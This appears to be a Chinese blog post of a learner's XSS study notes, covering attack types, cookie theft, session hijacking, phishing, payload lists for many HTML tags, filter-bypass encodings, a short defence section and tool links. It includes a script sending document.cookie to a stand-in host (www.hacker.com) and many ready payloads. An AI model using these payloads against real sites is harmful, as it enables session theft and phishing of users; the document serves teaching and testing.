前端Hack之XSS攻击我的学习笔记

简单概述

**
       此篇系本人两周来学习XSS的一份我的总结,实质上应该是一份笔记,方便本身往后从新回来复习,文中涉及到的文章我都会在末尾尽量地添加上,这次总结是我在学习过程当中所写,若有任何错误,敬请各位读者斧正。其中有许多内容属于相关书籍、文章的部分摘取,若有侵权,请联系我修改。(asp-php#foxmail.com)
**
javascript

1) 什么是XSS?


       XSS(Cross-Site Script,跨站脚本)是因为web应用程序对用户的输入过滤不足而产生的一种漏洞。攻击者能够利用网站漏洞把恶意的脚本代码注入到网页之中,当其余用户浏览这些带有恶意代码的网页时就会执行其中的恶意代码,对受害者产生各类攻击。

       若是对以上描述还不是很了解的话,能够参考百度百科
       在余弦大大xisigr大大的书籍《Web前端安全技术揭秘》第三章中这样说道:php

跨站脚本的重点不在“跨站”上,而应该在“脚本”上...由于这个“跨”实际上属于浏览器的特性,而不是缺陷,形成“跨”的假象是由于绝大多数的XSS攻击都会采用嵌入一段远程或者说第三方域上的脚本资源。css

       确实,当攻击者的服务器上的js嵌入到受害者的页面,至于接下来的攻击就是关于“脚本”的事了。html

2) XSS能够带来哪些危害?

       对于XSS攻击的危害,大多数的人们却没有正确的认识,实际上攻击者能够利用XSS攻击形成巨大的危害。好比:前端

  • 网页挂马;
  • 盗取Cookie;
  • DoS攻击;
  • 钓鱼攻击;
  • 蠕虫攻击;
  • 劫持用户web行为;
  • 结合CSRF进行针对性攻击;
  • ······

这些都是能够利用XSS漏洞来达成的。java

3) XSS类型

目前的XSS总共能够分为三种类型:python

  • 反射型(也叫非持久型)
  • 存储型(也叫持久型)
  • DOM型

PS:前两种XSS都会与服务器产生交互,后一种不会产生交互。(某安全大佬面试)git

反射型XSS


       反射型XSS,也称非持久型XSS,最多见也是使用最广的一种。在反射型XSS中,payload通常存在于网页的Url中,只用户单击时触发,只执行一次,非持久化,故称反射型XSS。攻击者发送恶意Url连接让受害者点击(通常会对payload部分进行处理,如:编码转换和短域名跳转)

       因为篇幅问题,关于反射型XSS我就不作过多简述。
       有的人认为反射型XSS须要用户已经登录的状况下才能利用,其实否则。咱们能够经过反射型xss让浏览器远程嵌入咱们的js文件,而后配合浏览器漏洞进行RCE攻击。这里给出个相近的例子:记一次从DOM型XSS到RCE过程github

存储型XSS

       存储型XSS,也称持久型XSS,攻击者首先将恶意javascript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意javascript页面就会执行恶意代码,不须要用户点击特定Url就能执行,故存储型XSS比反射型XSS更具威胁性。--- 《XSS跨站脚本攻击剖析与防护》
       存储型XSS与反射型XSS最大的区别就在于提交的XSS代码会储存于服务端,下次再访问目标页面时不用再提交XSS代码。---《Web前端黑客技术揭秘》web

DOM型XSS

       许多朋友对反射型XSS和存储型XSS都比较清楚,但是却不太了解什么是DOM型XSS,不要紧,看完这里你就应该会对DOM型XSS有个大概认识
       DOM,即Document Object Model(文件对象模型)的缩写,关于DOM的概念想了解的朋友能够在百度百科获得相应的解答。

       DOM型XSS是如何产生的?咱们知道,客户端javascipt是能够访问浏览器的DOM文本对象模型,若是没有通过适当的过滤和消毒,那么应用程序可能会受到基于DOM的XSS攻击。
       在的《白帽子讲Web安全》是这样讲的:

经过修改页面的DOM节点造成的XSS,称之为DOM Based XSS,也就是DOM型XSS。

       举个简单的例子(来自《Web前端黑客技术揭秘》):

<html>
...
<script>
var a=document.URL;
document.write(a.substring(a.indexOf("a=")+2,a.length));
</script>
...
</html>

       把以上代码保存为1.html,而后打开浏览器访问http://127.0.0.1/1.html#a=test
       咱们知道这是个静态页面,并且#后边的内容并不会传给服务器。
访问结果
       但是这样就不会产生XSS漏洞了吗?若是咱们访问
http://127.0.0.1/.html#a=<script>alert(/xss/)</script>
       当咱们访问上述url时,服务器会返回源代码,咱们能够用抓包工具截取,发现与正常访问的页面无差异,但是当浏览器收到源代码时便把HTML文本解析成DOM对象并执行,结果弹出/xss/消息框,感兴趣的朋友能够试试。
       具体执行过程如图:来自《黑客攻防技术宝典Web实战篇》

4) XSS的利用方式

       前面咱们介绍了各类XSS的特色及产生方式,如今咱们来讲说如何利用这些漏洞。

Cookie窃取

       Cookie盗取是xss攻击中最实用也是最普遍的一种利用方式之一。咱们知道Cookie是Web系统识别用户的身份和保存会话状态的主要机制,且是由服务器提供的、存储在客户端的一种数据。同时,对于cookie的操做十分的方便,咱们能够经过Document对象访问Cookie。如:<script>alert(document.cookie)</script>会弹出当前页面的cookie信息。


       这里咱们引入一个叫作“同源策略”的概念:

首先,同“源”的源不仅仅是指两个页面的主域名,还包括这两个域名的协议、端口号和子级域名相同。举个例子,假设我如今有一个页面http://www.a.com/index.html,域名是 www.a.com,二级域名为 www,协议是 http,端口号是默认的 80,这个页面的同源状况以下:
       同源策略存在的意义就是为了保护用户的信息的安全。通常网站都会把关于用户的一些敏感信息存在浏览器的 cookie 当中试想一下,若是没有同源策略的保护,那么 b 页面也能够随意读取 a 页面存储在用户浏览器 cookie 中的敏感信息,就会形成信息泄露。若是用户的登陆状态被恶意网站可以随意读取,那后果不堪设想。因而可知,同源策略是很是必要的,能够说是浏览器安全的基石。
       除了 cookie 的访问受到同源策略的限制外,还有一些操做也一样受到同源策略的限制:
       (1) 没法读取非同源网页的 Cookie 、sessionStorage 、localStorage 、IndexedDB
       (2) 没法读写非同源网页的 DOM
       (3) 没法向非同源地址发送 AJAX请求(能够发送,但浏览器会拒绝响应而报错)

       ————引自晚风表哥在信安之路上的投稿文章《同源策略与跨域请求》


       咱们知道Cookie有以下常见的属性:

  • Domain————设置关联Cookie的域名;
  • Expires————经过给定一个过时时间来建立一个持久化Cookie;
  • Httponly————用于避免Cookie被Javascript访问;
  • Name————Cookie的名称;
  • Path————关联到Cookie的路径,默认为/;
  • Value————读写Cookie的值;
  • Secure————用于指定Cookie须要经过安全Socket层传递链接;

       而且Cookie也能够安装类型分为:

  • 本地Cookie————即储存在计算机硬盘中,关闭浏览器后依旧存在;
  • 内存Cookie————即储存在内存中,随浏览器的关闭而消失;

       如何区分二者很简单,只要判断cookie中的expires即过时时间属性有没有设置,若是设置了即为本地cookie,反之为内存cookie。
       因为Cookie具备的不一样属性,咱们能够将不一样属性的Cookie盗取方式分为如下几种状况

默认

       默认状况,即不对Cookie的任何属性进行指定就设置Cookie的状况。这种状况下Cookie的获取最为简单。能够经过下列方式获取

<script>
new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;
</script>

不一样域

       这是因为domain字段的机制致使的。一个Cookie若是不知道domain的值,则默认为本域
       例若有两个网站www.a.comtest.a.com且后者存在xss漏洞,按照同源策略,这两个网站是不一样源的,默认状况下咱们没法直接从test.a.com获取到www.a.com的Cookie,但是若是www.a.com的Cookie值中的domain属性设置为父级域即a.com,就能够经过test.a.com的xss漏洞获取到www.a.com的Cookie值。

不一样路径

       这是因为path字段的机制致使的。在设置Cookie时,若是不指定path的值,默认就是目标页面的路径。好比在www.a.com/admin/index.php设置cookie值且不知道path,那么path默认为/admin/。javascript能够指定任意路径的cookie,可是只有对于path值的目录下才能读取Cookie,即上述例子中只有/admin/目录下的javascipt才能读取前边设置的Cookie。

Http Only

       HttpOnly是指仅在Http层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就没法读取该Cookie,这样作能有效防护XSS攻击获取Cookie,也是目前防护XSS的主流手段之一。不过利用某些特定方式也能够一样读取到标志了HttpOnly的Cookie。

  • 利用调试信息,如:PHP的phpinfo()和Django的调试信息,里边都记录了Cookie的值,且标志了HttpOnly的Cookie也一样能够获取到。
  • 利用Apache Http Server 400错误暴露HttpOnly Cookie的特色。

感兴趣的朋友能够查阅相关资料(《Web前端黑客技术揭秘》p36-39)

Secure

       Secure是指设置了Secure的Cookie尽在HTTPS层面上进行安全传输,若是请求是HTTP的,则不会带上改Cookie,这样作的好处是能够下降Cookie对中间人攻击获取的风险,不过对咱们此处讨论的XSS攻击无拦截效果,可经过默认状况下获取。

P3P

       HTTP响应头的P3P字段能够用于标识是否容许目标网站的Cookie被另外一域经过加载目标网站而设置或发送,听说仅IE支持(17年)。
       咱们来举个例子,在A域经过iframe等方式加载B域(此时也称B域为第三方域),若是咱们想经过B域来设置A域的Cookie,或加载B域时带上B域的Cookie,这时就得涉及到P3P。

B域设置A域Cookie

       在IE下默认是不容许第三方域设置的的,除非A域在响应头带上P3P字段。当响应头头带上P3P后,IE下第三方域便可进行对A域Cookie的设置,且设置的Cookie会带上P3P属性,一次生效,即便以后没有P3P头也有效。

加载B域时Cookie传入问题

       咱们知道Cookie分为内存Cookie和本地Cookie,当咱们经过A域加载B域时,默认是带内存Cookie加载(若是无内存Cookie则不带),而若是想要带本地Cookie加载,则本地Cookie必须带P3P属性。

会话劫持

       因为Cookie的不安全性,开发者们开始使用一些更为安全的认证方式——Session。
       这里引用《XSS跨站脚本攻击剖析与防护》p51-52页的内容

       Session的中文意思是会话,其实就是访问者从到达特定主页到离开的那段时间,在这个过程当中,每一个访问者都会获得一个单独的Session。Session是给予访问的进程,记录了一个访问的开始到结束,搭档浏览器或进程关闭以后,Session也就“消失”了。
       在Session机制中,客户端和服务端也有被其余人利用的可能。
       Session和Cookie最大的区别在于:Session是保存在服务端的内存里面,而Cookie保存于浏览器或客户端文件里面

       这里提到Session是由于咱们在现实状况中可能会出现已经获取到了Cookie,可是因为用户已经退出了浏览器指示Session无效,致使咱们没法经过Cookie欺骗来获取用户权限;又好比有的网站设置了HttpOnly,获取不到Cookie;再者有的网站将Cookie与客户端IP向绑定;此时咱们即可以利用会话劫持来达到目的。
       会话劫持的实质就是模拟GET/POST请求(带Cookie)经过受害者浏览器发送给服务器,咱们能够经过下面的方式来完成。

  • 经过javascript控制DOM对象来发起一个GET请求,如:
var img = document.creatElement("img");
img.src = "http://www.a.com/del.php?id=1";
document.body.appendChild(img);
  • 经过javascript自动构造隐藏表单并提交(POST)
  • 经过XMLHttpRequest直接发送一个POST请求

       咱们能够经过构造的GET/POST请求来实现如添加管理员、删除文章、上传文件等操做。XSS蠕虫从某种意义上来讲也属于会话劫持。

钓鱼

       如今通常咱们均可以很容易的防范钓鱼网站,但是当钓鱼网站与XSS漏洞结合呢?设想一下,如mail.qq.com的页面存在XSS漏洞,攻击者经过iframe替换了原来的页面成钓鱼页面,而且网页的Url仍是原来的页面,你是否能察觉出来?

XSS重定向钓鱼

       即从www.a.com经过xss漏洞跳转到www.b.com的钓鱼页面上,整个过程变化明显,受害者易察觉。

http://www.a.com/index.php?search=<script>document.location.href="http://www.b.com/index.php"</script>

HTML注入式钓鱼

       经过javascript来修改页面的DOM对象属性,或在原页面中添加新的DOM元素。前者相对于后者更隐蔽。

Iframe

       攻击者经过javascript来添加一个新的<Iframe>标签嵌入第三方域的内容(钓鱼网页),此时主页面仍处于正常页面下,具备极高的迷惑性。

5) XSS漏洞的挖掘

       就目前而言,XSS漏洞的挖掘主要分为白盒审计和黑盒Fuzz两种。

白盒审计

       经过查看源代码来判断网站的交互点是否存在安全过滤。因为此处涉及代码审计内容(其实就是懒),就细说,这里直接引用书中总结的。

分析源代码挖掘XSS的通常思路是:查找可能在页面输出的变量,检验它们是否受到控制,而后跟踪这些变量的传递过程,分析它们是否被htmlencode()之类的函数过滤

黑盒审计

       这个可得好好说说了,毕竟咱们在现实环境中挖掘XSS漏洞时黑盒的状况偏多。咱们进行XSS黑盒测试时主要分为手工检测和工具检测。

手工检测

       首先咱们须要尽量地找到目标的每一个输入输出点并挨个尝试;在进行尝试的时候,咱们应优先选择特殊字符进行测试,如"<>&;/':等,若是连<>都未过滤/转义,那么该输入点极可能存在XSS漏洞。
       若是<>等标记符号都被过滤/转义了,咱们也可使用标签自身的属性/事件(href,lowsrc,bgsound,backgroud,value,action,dynsrc等)来触发XSS,如
<input name="xx" value=<?=$query?>>这里的$query属于动态内容,咱们把他替换成恶意代码,最终的代码为<input name="xx" value=xss onmouseover=evil_script>
       通常来讲,针对输入框的黑盒测试可能存在反射型XSS,也可能存在存储型XSS,还有多是DOM型,针对Url参数的黑盒测试绝大多数只存在反射型XSS或DOM型XSS。

常见标签
<img>标签
利用方式1
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(/xss));'
<!--CSS标记xss-->
<img STYLE="background-image:url(javascript:alert('XSS'))">
XSS利用方式2
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
XSS利用方式3
<img src=1 onmouseover=alert('xss')>
<a>标签
标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" onclick=alert('xss')>aa</a>
利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
input标签
标准格式
<input name="name" value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>
<form>标签
XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
XSS利用方式3
<!--原code-->
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>标签
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
svg<>标签
<svg onload=alert(1)>
iframe
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>

——引自wkend的文章《XSS小节》

工具检测

       关于XSS的自动检测软件有许多,如Burp的Scan模块,BruteXSS等,这里不作过多解释。

6) shellcode的绕过

绕过XSS-Filter

       XSS-Filter是一段基于黑名单的过滤函数,大多数CMS都有这么个函数,做用于用户的每个输入点,用于过滤可能的恶意代码。不过从某种意义上来讲,基于黑名单的保护是必定不会是安全的,因为XSS的多变性,几乎不可能存在彻底地过滤。

空格回车和Tab

       对XSS-Filter而言,若是仅仅是将函数加入黑名单处理,那么能够在函数名称之中尝试加入空格、回车、Tab等键位符来进行绕过。这是因为在javascript中只会将;做为语句的终止符,当浏览器引擎解析javascript脚本时没有匹配到;便会继续处理,知道发现下个分号为止,而换行符并非终止符。以下列代码可绕过对关键字javascript|alert的过滤:

<img src=javasc
ript:aler
t(/xss/)>

IE6下测试成功

对标签属性值进行转码

       HTML中属性值支持ASCII码形式,如

<img src="javascript:alert('xss');">

       替换成

<img src="javascrip&#116&#58alert('xss');">

       其中在ASCII表中116为t,58为:
       也能够将&#01,&#02等插入javascript的头部,还能够将tab(&#09)|换行符(&#10)|回车键(&#13)插入到代码中的任意位置。

Fuzz标签未过滤事件名

       如<img src=x onerror=alert(/xss/)>其中的onerror即为IMG标签的一个事件,一般这样的事件都是以on开头,常见的有:

onResume
onReverse
onSeek
onSynchRestored
onURLFlip
onRepeat
onPause
onstop
onmouseover

       除此以外还有不少事件能够利用,这里再也不一一列举。

使用Css绕过

       利用Css样式表能够执行javascript的特性,如
       Css直接执行javascript:

<div style="background-image:url(javascript:alert('xss'))">
<style>
    body {background-image:url("javascript:alert('xss')");}
</style>

       css中使用expression执行javascript:

<div style="width: expression(alert('xss'))">
<img src="#" style="xss:expression(alert(/xss/))">
<style>
    body {background-image:expression("alert('xss')");}
</style>

       在上述的两个例子中,都用到了样式表的url属性来执行XSS代码。
       除了上述两种,还能够利用@import直接执行javascript代码

<style>
    @import 'javascript:alert("xss")';
</style>

       在现实环境下,HTML页面中的Css与Javascript的嵌入方式很类似,且Css也能够执行javascript代码,故咱们的XSS代码也能够经过嵌入远程恶意css文件来进行XSS攻击。

扰乱规则

  • 大小写变换;
  • 利用expression执行跨站代码的时候,能够构造不一样的全角字符来扰乱过滤规则;
  • 结合样式表注释字符/**/,经过css执行javascript
  • 样式标签会过滤\\0,能够构造如@i\mp\0\0ort 'jav\0asc\0rip\t:al\0er\t("x\0ss")'绕过
  • Css关键字进行编码处理,如<p style="xss:\0065xpression(alert(/xss/))">其中65为字母e进行unicode编码后的数字部分
  • 利用浏览器解析注释的问题

利用字符编码

       javascript支持许多的编码格式,如:

  • unicode
  • escapes
  • 十六|十|八进制

若是能将这些编码格式运用进跨站攻击,无心能大大增强XSS的威力
在IE下甚至支持JScript Encode加密后的代码

拆分法

       若是一个网站规定了输入的最大长度,可是ShellCode又太长,那么久能够拆分红几个部分,最后在组成起来。相关文章:《疯狂的跨站之行》剑心(非原连接)

7) XSS防护

       说了那么多,那咱们该如何防护这看似防不胜防的XSS攻击呢?

输入

       严格控制用户可输入的范围,如手机号只能输入数字且长度不能大于11位等,如需输入某些敏感字符的状况下可对数据进行转义处理,对于用户数据的过滤尽量地采用白名单而不是黑名单。

输出

       减小没必要要的输出,在须要输出的地方使用HTML编码将敏感字符转义为实体符,javascript进行DOM操做时注意不要将已转义的实体符再次解析成DOM对象。

其余

       设置HttpOnly,开启WAF。

写在最后

       感谢参考资料中各位分享技术的大牛,小弟才笔有限,仅仅介绍了XSS攻击中的一部分,仍有一部分因为种种缘由我没有写进来。好比整篇文章都是Javascript,实际上在遇到XSS问题时咱们还需考虑VBscript、Actionscript等等,还有许多优秀的案例因为篇幅问题没法写上了,可能会致使部分读者理解不全面,在这里向你们说声抱歉,我会在下面的参考中列出我参考的书籍与文章供各位读者查看。XSS的学习暂时放下了,下一站——SQL注入,虽然对此有些浅显的认知,但仍是但愿能系统的学一遍,可能会在下个月发出来,感兴趣的读者能够关注个人博客

参考资料


书籍:
《Web前端黑客技术揭秘》
《XSS跨站脚本攻击剖析与防护》
《白帽子讲Web安全》
《黑客攻防技术宝典Web实战篇》第二版
文章:

XSS小结
浅说 XSS 和 CSRF
Session攻击手段(会话劫持/固定)及其安全防护措施

附录

https://github.com/ChrisLinn/greyhame-2017/blob/master/skills/web.md 2017灰袍技能精华 https://github.com/rajeshmajumdar/BruteXSS BruteXSS https://github.com/beefproject/beef Beef神器 https://github.com/1N3/XSSTracer 用于检查跨站点跟踪的小型python脚本 https://github.com/0x584A/fuzzXssPHP 一个很是简单的反射XSS扫描仪支持GET/POST https://github.com/chuhades/xss_scan 反射xss扫描器 https://github.com/BlackHole1/autoFindXssAndCsrf 浏览器的插件,它自动检查页面是否具备xss和漏洞 https://github.com/shogunlab/shuriken xss命令行工具用于测试web应用程序中xss负载列表 https://github.com/UltimateHackers/XSStrike 用于XSS、WAF检测和旁路的模糊和蛮力参数 https://github.com/stamparm/DSXS 一个彻底功能的跨站点脚本漏洞扫描器,支持获取和发布参数,并写入100行代码

相关文章
相关标签/搜索